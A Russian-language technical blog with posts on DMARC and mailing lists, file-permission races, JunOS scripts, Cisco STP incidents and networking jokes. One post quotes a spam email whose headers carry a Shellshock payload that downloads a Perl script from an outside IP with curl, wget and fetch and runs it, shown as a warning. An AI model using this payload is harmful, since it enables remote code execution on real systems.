gul_tech: (gul)
Я [livejournal.com profile] gul_kiev.
Это мой журнал для постингов на технические темы - про Cisco, Juniper, unix и прочее, что может быть неинтересно многим френдам моего основного аккаунта.
gul_tech: (gul)
СЯУ, что очередная интернет-технология становится историей из-за несовместимости с новыми стандартами, на этот раз это списки рассылки.

Введение в курс дела.
Письмо (email) состоит из заголовка и тела письма. В заголовке написаны отправитель, получатель, тема письма и ещё всякая информация о письме. В теле, соответственно, текст. При пересылке письма оно вместе с заголовком оборачивается в конверт (envelope), и между почтовыми системами передаются "mail from" (отправитель), "rcpt to" (получатель) и "data" (текст письма вместе с заголовком). Тут важно, что адреса отправителя и получателя на конверте могут не соответствовать адресам в заголовке. Такое часто встречается при переадресации (если письма для user@domain пересылаются на другой адрес, login@host, то в заголовке остаётся "To: user@domain", а на конверте получается уже "To: login@host"), а также в списках рассылки (в заголовке "To: maillist", envelope to "user@domain").

Борьба со спамом и фишингом.
Технология почты позволяет любому человеку отправлять почту куда угодно, и, мало того, от какого угодно адреса. Этим стали активно пользоваться спамеры, подставляя случайный адрес отправителя. Для защиты от этого придумали SPF. Владелец домена может в DNS указать список хостов, от которых может быть отправлена почта с этим доменом в поле "From", а если почта принята откуда-то не оттуда, значит, это спам. Механизм простой и эффективный. Однако не защищающий от подделки header from. Есть ещё callout check (встречный коннект на отправителя, проверяющий, принимает ли он почту), но он проверяет лишь существование адреса отправителя, а не его валидность, и имеет ряд других недостатков.

DMARC.
Поскольку спамеры продолжают активно рассылать почту с поддельным header from, а envelope from пользователю фактически недоступен, возникла необходимость защиты header from от подделки. Для этого разработали DMARC. Владелец домена может включить защиту DMARC, и сервера, поддерживающие эту технологию, не будут принимать почту с header from, отправленную другими сайтами. Но как отличить, это спамер отправил почту от чужого адреса, или это честный пользователь написал в maillist? К сожалению, никак. И вот списками рассылки ради борьбы со спамом решили пожертвовать. И что же они предлагают делать администраторам списков рассылки? А вот что:
1. Никак не модифицируйте письма, т.е. не ставьте хеш списка рассылки в тему письма, не дописывайте футер с информацией о рассылке и т.п. К сожалению, в таком случае получателю будет трудно отличить письма из списка рассылки от личных писем.
2. Добавляйте OAR header. К сожалению, это не поможет, потому что его никто не поддерживает, и нужен механизм доверия между сервером рассылки и почтовой системой получателя. То есть, например, если отправитель в @yahoo.com, а получатель в @gmail.com, то для использования этого способа необходимо, чтобы gmail.com доверял мне (как администратору списка рассылки). Выглядит не очень реальным. К тому же, реализованных механизмов для добавления и обработки этого OAR, как я понял, ещё нет, это просто концепция.
3. Заменяйте header from на какой-то адрес в своём домене. А чтобы получатель мог ответить отправителю, пересылайте почту на этот адрес оригинальному отправителю.
А что, если на этот адрес (светящийся в поле From списка рассылки) будет приходить спам, и он будет пересылаться оригинальному отправителю, какой сервер попадёт в blacklists? Тот, от которого приходит спам получателю, т.е. мой, а не тот, который использовали спамеры. Жизнь спамеров таким образом облегчается!

Обнаружил из-за жалобы, что письма пользователей @yahoo.com в спелеорассылке не попадают примерно половине подписчиков - пользователей почтовых систем, проверяющих DMARC.
Что в такой ситуации делать, не знаю. Нахожусь в некоторой растерянности.

UPD: Некоторые ссылки.
Yahoo breaks every mailing list in the world including the IETF's
dmarc and forwarding
DMARC overview
gul_tech: (gul)
Если вам в shell command line нужно создать файл, к которому никто, кроме вас, не должен иметь доступ на чтение, как вы это делаете?
Я обычно делал так:
touch filename
chmod 600 filename
после чего писал туда всё, что мне было нужно.

И оказалось, что злоумышленник без рутовых прав вполне может прочитать мою секретную информацию, если успеет открыть этот файл на чтение между touch и chmod. Ведь права не проверяются на каждую операцию чтения открытого файла, и при chmod с уже открытыми дескрипторами ничего не происходит.

А как это делаете вы?
Я сейчас знаю несколько правильных способов.
Read more... )
gul_tech: (gul)
Пришло такое письмо:

Received: from u16850951.onlinehome-server.com [74.208.184.251]
        by happy.kiev.ua with smtp (Exim 4.80.1)
        id 1XhihW-0005vz-Lr
        for root@localhost; Fri, 24 Oct 2014 20:30:59 +0300
To: {: ;, };, /bin/sh-c'/bin/sh-c'cd/tmp;, curl-sO178.254.31.165/ex.txt;,
        lwp-download http:  //178.254.31.165/ex.txt;,
        wget178.254.31.165/ex.txt;, fetch178.254.31.165/ex.txt;, perlex.txt
        ;, rm-frex.*'&'&;
References: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Cc: {: ;, };, /bin/sh-c'cd/tmp;, curl-sO178.254.31.165/ex.txt;,
        lwp-download http:  //178.254.31.165/ex.txt;,
        wget178.254.31.165/ex.txt;, fetch178.254.31.165/ex.txt;, perlex.txt
        ;, rm-frex.*'&;
Bcc: {: ;, };, /bin/sh-c'cd/tmp;, curl-sO178.254.31.165/ex.txt;,
        lwp-download http:  //178.254.31.165/ex.txt;,
        wget178.254.31.165/ex.txt;, fetch178.254.31.165/ex.txt;, perlex.txt
        ;, rm-frex.*'&;
From: {: ;, };, /bin/sh-c'cd/tmp;, curl-sO178.254.31.165/ex.txt;,
        lwp-download http:  //178.254.31.165/ex.txt;,
        wget178.254.31.165/ex.txt;, fetch178.254.31.165/ex.txt;, perlex.txt
        ;, rm-frex.*'&;
Subject: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Date: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Message-ID: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Comments: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Keywords: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Resent-Date: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
Resent-From: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget
        178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;


Задумайтесь и вы, не передаётся ли какому-нибудь почтовому транспорту (спамфильтру, автоответчику, процмейлу, логгеру и пр) параметром что-нибудь из тела письма. А если передаётся, безопасно ли это происходит.

Желающие могут скачать и изучить перловый скрипт самостоятельно.
gul_tech: (gul)
Не очень сложная, но интересная задачка.
Есть односвязный список. В каждом элементе есть некое значение, ссылка на следующий элемент списка и ссылка на какой-то произвольный элемент этого списка.
Нужно сделать независимую копию этого списка.
Ограничения: время выполнения должно быть линейно от длины списка, количество дополнительной памяти (помимо старого и нового списка) константно, т.е. не должно зависеть от длины списка.
Никакими блокировками и параллельным доступом можно не заморачиваться (типа один поток).

UPD: Ни одного решения не дождался.
Эх... :(


На первом проходе из списка A->B->C->D делаем копию каждого элемента, и указатели next ставим таким образом, чтобы получился список A->A'->B->B'->C->C'->D->D', т.е. нечто вроде
for (p=head; p; p=p->next)
{
  p1=memdup(p);
  p->next = p1;
  p=p1;
}

(memdup() - это malloc() и memcpy(), по аналогии с strdup()).

Вторым проходом подправляем rnd-указатели (на произвольный элемент списка) для новых элементов - тот, что указывал на X, теперь будет указывать на X->next, который X':
for (p=head->next; p; p=p->next->next)
{
  p->rnd = p->rnd->next;
}

Третьим проходом делаем из одного длинного списка A->A'->B->B'->... два отдельных, оригинальный A->B->C->D и новый A'->B'->C'->D':
newhead = head->next;
for (p=head, p1=newhead; p; p=p->next, p1=p1->next)
{
  p->next = p->next->next;
  p1->next = p1->next->next;
}

Всё.
Три прохода, две дополнительные переменные - p, p1.
newhead - начало нового списка.

gul_tech: (gul)
Оригинал взят у [livejournal.com profile] bytebuster463 в Я знаю шутку...
1. Я знаю отличную шутку про UDP, но не факт, что она до вас дойдет.
2. Я знаю отличную шутку про TCP, но если она до вас не дойдет, то я повторю.
3. А кто знает отличную шутку про ARP?
4. А вы слышали шутку про ICMP?
5. Вам еще кто–то рассказывал шутку про STP?
6. Я подожду Антона и расскажу классную шутку про QoS.
7. Про MTU тоже есть кла
8. XML
9. А про FSMO роли шутить могут не более пяти человек.
10. Подождите все, я расскажу шутку о сети типа "шина".
11. Я бы рассказал отличную шутку про Token Ring, но сейчас не моя очередь.
12. Стой–стой, послушай сначала шутку о прерываниях.
13. Помню времена, когда шутка про модем пшшшшшшш.....
14. Только что, специально для сообщества пришла шутка про мультикаст.
15. Жаль, что шутка про Fault Tolerance не может состоять больше, чем из одного слова.
16. Настало время рассказать шутку про NTP.
17. Я сейчас расскажу отличную шутку про VPN, но ее поймет только один.
18. К шутке про SCTP вначале должны все подготовиться.
19. Из–за одного, кто зевнул, придётся заново рассказывать шутку про frame relay в топологии point–to–multipoint.
20. А шутки про HDLC обычно не понимают те, кто знает другие шутки про HDLC.
21. Про DWDM шутят сразу несколькими голосами.
22. Шутка про Е3 — это 30 одинаковых шуток про Е1 и еще две шутки, понятных только тем, кто в теме.
23. Лучшее в шутках про проприетарные протоколы это УДАЛЕНО.
24. Единственная проблема в шутках про Token Ring в том, что если кто–то начнёт рассказывать шутку пока говорите вы, обе шутки обрываются.
25. Все любят шутки про MitM. Ну, кроме Алисы и Боба, все.
26. идти Самое про BitTorrent — они могут порядке. в шутках лучшее в любом
27. Я бы рассказал шутку про CSRF, если бы ты САМ только что этого не сделал.
28. IGMP шутка; пожалуйста, передай дальше.
29. Нет… Нет ничего… Нет ничего забавного… Нет ничего забавного в шутках… Нет ничего забавного в шутках про определение MTU.
30. PPP шутки всегда рассказываются только между двумя людьми.
31. Шутки про RAID почти всегда избыточны.
32. Фрагментированные шутки…
33. … всегда рассказываются…
34. … по кусочкам.
35. Вы уже слышали шутку про Jumbo фреймы? Она о–очень длинная.
36. Самое клёвое в шутках про rsync, что вам её рассказывают только если вы не слышали её до этого.
37. Проблема с IPv6 состоит в том, что их трудно вспомнить.
38. DHCP шутки смешны, только если их рассказывает один человек.
39. Жаль никто не помнит шутки про IPX
40. У кого есть кабель? Есть смешная шутка про RS–232 и полусмешная про RS–485
41. Я сейчас всем расскажу шутку про бродкаст
42. У меня есть примерно 450 000 шуток про BGP
43. У кого есть пароли, приходите за шутками про RADIUS
44. Шутку про 127.0.0.1 каждым может пошутить себе сам
45. А что, шутки про IPv4 уже закончились?
46. Шутки про RFC1918 можно рассказывать только своим
47. Шутки про IPv6 плохи тем, что их мало можно кому рассказать
48. Шутки про SSH–1 и SSH–2 несовместимы между собой
49. Про Schema Master шутит только один в этом лесу
49. Шутки про MAC–адрес могут не дойти до тёзок
xx. Тут шутка про Banyan подросла
50. DNS–сервер не понял шутку про DDoS и ему её стали пересказывать сто тысяч раз в секунду
51. В шутках про IPSec надо говорить, кому их рассказываешь
52. И ГОСТ, и ISO согласны, что есть 7 уровней рассказывания шуток
52.1 Министерство обороны США понимает только четыре уровня шуток
53. Шутки про шутки про шутки часто звучат в туннелях
54. Шутки про 10/100/1000BASE–T вряд ли услышат с расстояния больше 100 м
Off: Шутки про TFT оставляют смазанное впечатление

gul_tech: (Default)
Почему в позиксе нет функции flink(int fd, const char *name)?
Её отсутствие не даёт возможности атомарного создания файла с нужным содержимым. Чтобы можно было создать inode без имени, наполнить его, и присвоить имя только когда он уже готов для дальнейшей обработки. Нет - нужно временное имя, потом rename(), плюс чистка от временных файлов, образовавшихся при обрыве связи, защита от обработки временных файлов, и так при каждом cp, scp, ftp, wget... :-(

Кстати, правильно ли я понимаю, что tmpfile() реализуется как неатомарная последовательность open()+unlink(), или есть syscall, создающий безымянный inode на указанном разделе?
gul_tech: (Default)
Лень всё же победила. :)
Вместо того, чтобы в очередной раз руками вычищать из конфига куски, которые перестали использоваться (policy-statements, firewall filters и т.п.) написал для этого перловый скрипт.
Ему параметром или на stdin даётся конфиг, он его анализирует, и на выходе выдаёт команды удаления неиспользуемых policy-statements, prefix-lists, community, as-path, firewall filters, firewall policers. Эти команды удаления можно потом копипастнуть в конфиг. Если используется dynamic-db, динамический конфиг можно дать вторым параметром - тогда скажет, что можно удалить и оттуда.

Сначала подумал, не сделать ли его как junoscript (на commit или как op script), но решил, что это и писать сложнее, и использовать менее удобно.
Написан за час (может, два) на коленке, написан неправильно (парсинг конфига, если по уму, нужно делать совсем не так), сделан исключительно под мои конфиги, так что корректную работу с другими конфигами не обещаю. Но может и сработать. :) У меня отработал и на MX, и на EX. Ловит inactive-части конфига, использование firewall filters как input/output на интерфейсе или вложенные, либо как fail-filter в urpf, полисеры - используемые из фильтров или непосредственно на интерфейсе (input/output/arp), policy-statements - в конфигурации протоколов или вложенные.
Если кому предложит удалить что-то лишнее или наоборот - не предложит удалить то, что надо бы - пишите, поправлю. Это только самая-самая первая версия.

Надо будет и для cisco ios такое тоже сделать.

Или это я велосипед изобретаю, и оно такое давно есть стандартное?
gul_tech: (Default)
В свете нашумевшего исчерпания IP-адресов составил список - кто является обладателем блоков /8, и используют ли они их. Оказалось, что неиспользуемых довольно много. Хотя и непонятно, можно ли их законно отобрать и дать кому-то другому (RIR-ам).
Под использованием я понимаю наличие BGP-анонсов. То есть, если блок проанонсирован как /8, считаю, что используется полностью, даже если на самом деле там всего одна /24 используется.
С другой стороны, если блок совсем не анонсируется, он считается неиспользуемым, даже если внутри корпорации он активно используется в качестве серых адресов. Потому что нефиг - для этого специально есть 10.0.0.0/8 и др.
В список не включены блоки, отданные RIR-ам, тут только имеющие частных владельцев.
табличка )

ipv6

Feb. 4th, 2011 12:12 pm
gul_tech: (Default)
Хочу ipv7 (или какой там следующий свободен).
В смысле, не хочу ipv6.
Хочу, чтобы всё было как в IPv4, но только адреса 64-битные. Обычный u_int64_t. Одно слово (один регистр) на 64-битных архитектурах.
Лёгкий переход, минимальные правки в софте, количества хватит навсегда, эффективнная обработка... Примерно как с asn16 перешли на asn32 без лишнего шума и потрясений.
Не ощущаю я счастья от ipv6. И ощущаю гемор ещё долгие годы, от параллельного существования ipv4 и ipv6, от невозможности интернетовским ресурсам полноценно существовать только на ipv6 без ipv4 при невозможности безболезненно получить блок ipv4, от неготовности всяких железок к ipv6 (фаерволы, wifi ap, телефоны и т.д.)...
gul_tech: (Default)
Давненько ничего сюда не постил, сорри. Материалов достаточно, просто руки не доходят.
Постараюсь не уходить так надолго.

Пока свежо в памяти, расскажу, что у нас приключилось совсем недавно (а точнее - позавчера).

Ничто не предвещало беды, когда port-channel из нескольких 10GE интерфейсов (между cat6500 и extreme x650) упал с сообщением

Jan 17 16:07:01.581 marmot: %PM-SP-4-ERR_DISABLE: channel-misconfig error detected on Po2, putting Po2 in err-disable state

при том, что последнее изменение конфигурации этого шеститонника было за три дня до этого. Потом (через полминуты) он поднимался по autorecover и через пару минут падал опять с тем же сообщением. Пересоздание этого port-channel ситуацию не изменило. В дебаге тоже ничего путного.

На поиск причин и методов устранения ушло около часа.
Как оказалось, один из клиентов начал слать странные bpdu, а поскольку он был включен в x650, на его порту bpdu не фильтровались, а проходили дальше на 6500. А 6500 при этом укладывал port-channel со столь странной диагностикой.

Открыл для себя команду "no spanning-tree etherchannel guard misconfig". Точнее, это [livejournal.com profile] sha90w мне её открыл (и заодно себе). Всем рекомендую.

Выводы:
1. STP - зло. Если его использование необходимо, BPDU должны ходить только в пределах собственной сети, и фильтроваться на всех клиентских портах в обе стороны (не лениться делать это через mac acl, где более простых способов нет). Хотя даже в этом случае нельзя быть полностью спокойным.
2. Реализация L2 в Cisco IOS мягко говоря странная.

Приведу ещё один пример, на этот раз гипотетической ситуации, демонстрирующей эти два вывода.
Допустим, мы купили L2-транспорт у стороннего оператора, q-in-q. И этот оператор (по нашей просьбе или по своей инициативе) прописал для нас туннелирование bpdu, "l2protocol-tunnel stp" на каталистах. Мы аккуратно прописали bpdufilter на клиентских портах и используем stp на этом линке.

И тут один из наших клиентов прислал нам туннелированный bpdu-пакет (а фактически, произвольный пакет на мультикастовый мак 01:00:0c:cd:cd:d0). Этот пакет прошёл наш bpdufilter, потому что это не bpdu, и ушёл в этот транспорт. Тамошний каталист, туннелирующий bpdu, обнаруживает уже туннелированный пакет. Вместо того, чтобы его дропнуть, он что-то не очень внятное сообщает в лог и закрывает порт по err-disable, хоть там 8*10GE и 1000 виланов. И не сообщает, в каком вилане ему пришёл вызвавший такую его реакцию пакет. И этот errdisable не отключается.

Фактически имеем примерно то же самое, что в реальном позавчерашнем случае: незащищённость от активности с клиентских портов, крайне скудная диагностика свича и сложность диагностировать проблему вручную, укладывание всего порта (в т.ч. port-channel) из-за одного неожиданного пакета по err-disable вместо того, чтобы просто дропнуть этот пакет, на cisco ios (другие вендоры за этим не замечены).

Как-нибудь при случае расскажу ещё о всяких интересных граблях на mstp (из-за чего мы сейчас используем только pv-stp).
gul_tech: (Default)
Публиковать скрипт на 50 строчек, конечно, смешно, но учитывая, что это скрипт на SLAX, надеюсь, что не засмеёте. Потому что пользователей JunOS по моим представлением гораздо больше, чем тех, кто пишет скрипты. Ну и написание/отладка существенно сложнее, чем perl или bash (по крайней мере, для меня).

В общем, скрипт - выводит "show bgp sum" в несколько другом формате и с дополнительной информацией. Формат - по одной строке на каждый пир (после поднятия IPv6 обычный "show bgp sum" стал рисовать пиров в две строки, из-за чего не получалось использовать "| match ..."); кроме того, для каждого пира пишет его группу и description. Длина выводимых строк около 100, соответственно, желательно, чтобы у терминала тоже строки были длиннее 80 символов. Может, кому пригодится. Скрипт.

Скрипт надо положить в /var/db/scripts/op/ и в конфиге прописать "set system scripts op file show-bgp-sum.slax", после чего будет работать команда "op show-bgp-sum".

UPD:
ver 0.2 - Process groups inheritance, support route-instances (заменил первую версию на эту)
ver 0.2.1 - Show advertised prefix count - Cougar 20100513
ver 0.2.2 - Added local interface name
ver 0.3 - Get additional info by "show bgp group", not from config (based on 0.2.1)
ver 0.3.1 - Add local interface information

Если информация о локальных интерфейсах не нужна, версии 0.3.1 и 0.2.2 использовать смысла нет, лучше вместо них брать 0.3 или 0.2.1.
Версии 0.3 и 0.3.1 не требуют прав чтения конфигурации пользователем. Соответственно, корректно отрабатывают случаи использования commit-scripts. Но при этом не показывают информацию про route-instance (только bgp group).
Версии 0.2.1 и 0.2.2 работают чуть медленнее, чем 0.2, т.к. делают дополнительный запрос (get-bgp-neighbor).
Версия 0.3.1 работает несколько медленнее, чем 0.3 по той же причине.
Что быстрее - 0.2.x или 0.3.x - в разных случаях по-разному.

Выбирайте наиболее подходящий для вас вариант. :) Лично я у себя использую 0.2.2 с выброшенной оттуда работой с bgp instances (для ускорения, я их не использую).
gul_tech: (Default)
Изменение позиций в топе как России, так и Украины.
ReTN и ITSystems уступили лидерство. Сейчас среди российских провайдеров по размеру клиентского конуса (в пересчёте на IP-адреса) лидирует РосТелеком, среди украинских - ETT. Таблица ниже под катом.

Немного доделал движок, сейчас можно выбирать, сколько первых строк показывать, и (отдельно) минимальный ранг показываемых провайдеров в мировом рейтинге. Например, можно показать российских провайдеров с рангом не ниже 1000, но не более 100 штук. А то раньше многих сбивало с толку: вроде, задал показать 1000 украинских провайдеров, а многих нет - на самом деле, показывались украинские провайдеры с мировым рангом не ниже 1000, а таких не так уж много. Отсутствие ограничения означает показывать всех.

Нашлись таблицы BGP начиная с ноября 1997. Правда, только от Origon-IX, одного источника маловато для получения надёжных результатов, но, тем не менее, что-то получилось, вполне правдоподобное. Вот графики развития основных украинских провайдеров того времени, за 5 лет с 1997 по 2002 годы:


Тут можно напомнить, что в 2000 в результате рейдерства LuckyNet сменил владельца и ген.директора (с Сергея Гульчука на Артура Габовича).
Рейтинг провайдеров RU и UA )
gul_tech: (Default)
Прислали:

P.S. Этот пост не проплачен. ;-)
gul_tech: (Default)
Появилось новое явление (или я раньше про него не знал): без спроса автора сайта, расположенного на бесплатном хостинге вроде narod.ru, делается его зеркало на нормальном хостере и красивом домене.
Пример: http://dolotov.narod.ru - оригинал, возникшее зеркало: http://speleologist.ru, а вот мнение владельца этого сайта.
Как-то это для меня непонятно и неожиданно. Даже добавленных баннеров не заметил (может, спрятаны - искал не сильно).
Интересно, насколько это законно или наказуемо? Вроде как, авторство себе не приписывается, а копия - ну так она и в кеше поисковиков есть, и на web.archive.org. Но с другой стороны - что-то в этом есть неправильное, как будто контент спёрли.
gul_tech: (Default)
В связи с появлением нового мультика про DNS вспомнился старый (примерно 10-летней давности) мультик про TCP/IP:



UPD: Кто испытывает трудности с английским, вот есть ролик (mpeg) и русские субтитры к нему.
gul_tech: (Default)
Подумалось мне, что было бы очень полезно создать распределённый поисковик или распределённую же социальную сеть как альтернативу Google.

Для начала - что именно хотелось бы сделать? Я вижу такие цели:

  • поисковая система (много направлений - поиск файлов, поиск по иерархиям, по релевантности);
  • среда общения: IM (включая аудио и видео), социальная сеть; в том числе - общение людей за nat/proxy; проблема спама;
  • группы по интересам (по аналогии с форумами, коммьюнити или ньюсгруппами);
  • блоги, хостинг, wiki;
  • безопасность, аутентификация, криптование;
  • веб-интерфейс, нет необходимости ставить специализированный софт у пользователя.
Read more... )
gul_tech: (Default)
Человеку для определения чего-то естественно последовательно уточнять, а не наоборот. Город, улица, дом, квартира. Или час, минута, секунда. Или сотни, десятки, единицы. В общем, оно понятно.
При этом некоторые пишут/читают слева направо, некоторые справа налево, как у кого повелось, тут "интуитивно понятного" нет, это традиция, как есть страны с левосторонним и правосторонним движением. Арабы и евреи пишут справа налево, европейцы и американцы - слева направо.

Так вот. Почему интернетовские доменные имена имеют вид firma.kiev.ua, которые, чтобы было интуитивно понятное последовательное уточнение, нужно читать справа налево? Почему не ua.kiev.firma (как в иерархии конференций usenet, в фидошных эхах и во многих других местах)? Кто из авторов DNS был евреем или арабом? Ведь даже для резолвинга разбирать домен нужно последовательно справа налево (сначала ua, потом kiev.ua, потом firma.kiev.ua), что совершенно нелогично для английского языка.

Я уже молчу про интеловскую архитектуру с хранением чисел "левый байт самый младший" - такой записи нет ни у евреев, ни у арабов, насколько я знаю. И ведь каждый раз при приёме или отправке таких чисел в сеть нужно переставлять байты местами, а при получении - менять обратно, потому что в сети, благо, принят нормальный порядок (сначала старший байт, потом младший). В чём же фишка перевёрнутого порядка байт? Чтобы можно было записать четырёхбайтное число, а потом по тому же адресу прочитать двухбайтное, и, если число было небольшим, получить правильный результат? Как-то это несолидно выглядит в качестве аргумента.
gul_tech: (Default)
JONOScripts (в числе прочего) дают возможность автоматически реагировать на произвольные события. Например, при обнаружении более 2% потерь на линке увеличить ospf metric. Механизм мощный и гибкий.

В нашем случае понадобилось два применения:
1. Нужно резервирование L2-транспорта. Причём на одном из путей BPDU не проходят, так что любые варианты STP не подходят (bpdu tunneling тоже не работает).
2. Трафик на клиента распределяется на два линка, как multipath bgp, клиенту нужно ограничить полосу по сумме этих двух путей. Поскольку ограничение скорости у MX делается на каждом ICHIP независимо, а сабинтерфейсы клиента у нас принадлежали разным физическим 10GE-интерфейсам, ограничение полосы "в лоб" не получается.

Обе задачи успешно решаются через event scripts.
В первом случае - реакция либо на OSPF, либо на ping tests. При падении основного линка указанный список виланов из этого транка убирается, а в транк на резервный линк добавляется. При поднятии основного линка конфигурация возвращается в исходное состояние. Скрипт
Во втором - реакция на изменение состояния BGP с клиентом. Если обе сессии живы, на каждом из сабинтерфейсов прописывается ограничение в половину положенной клиенту полосы. Если одна из BGP упала - на оставшейся полисер увеличивается до полной полосы. Скрипт

В конфигурации event policy никаких хитростей нет, поэтому не привожу, да и просто лениво. Если кому интересно - покажу, тем более, что скрипты без описания, и, не ориентируясь в slax, понять, как и с какими параметрами их запускать, проблематично, сорри.

В целом, всё работает. Однако есть нюансы. ложка дёгтя )
Page generated Jul. 26th, 2017 06:25 am
Powered by Dreamwidth Studios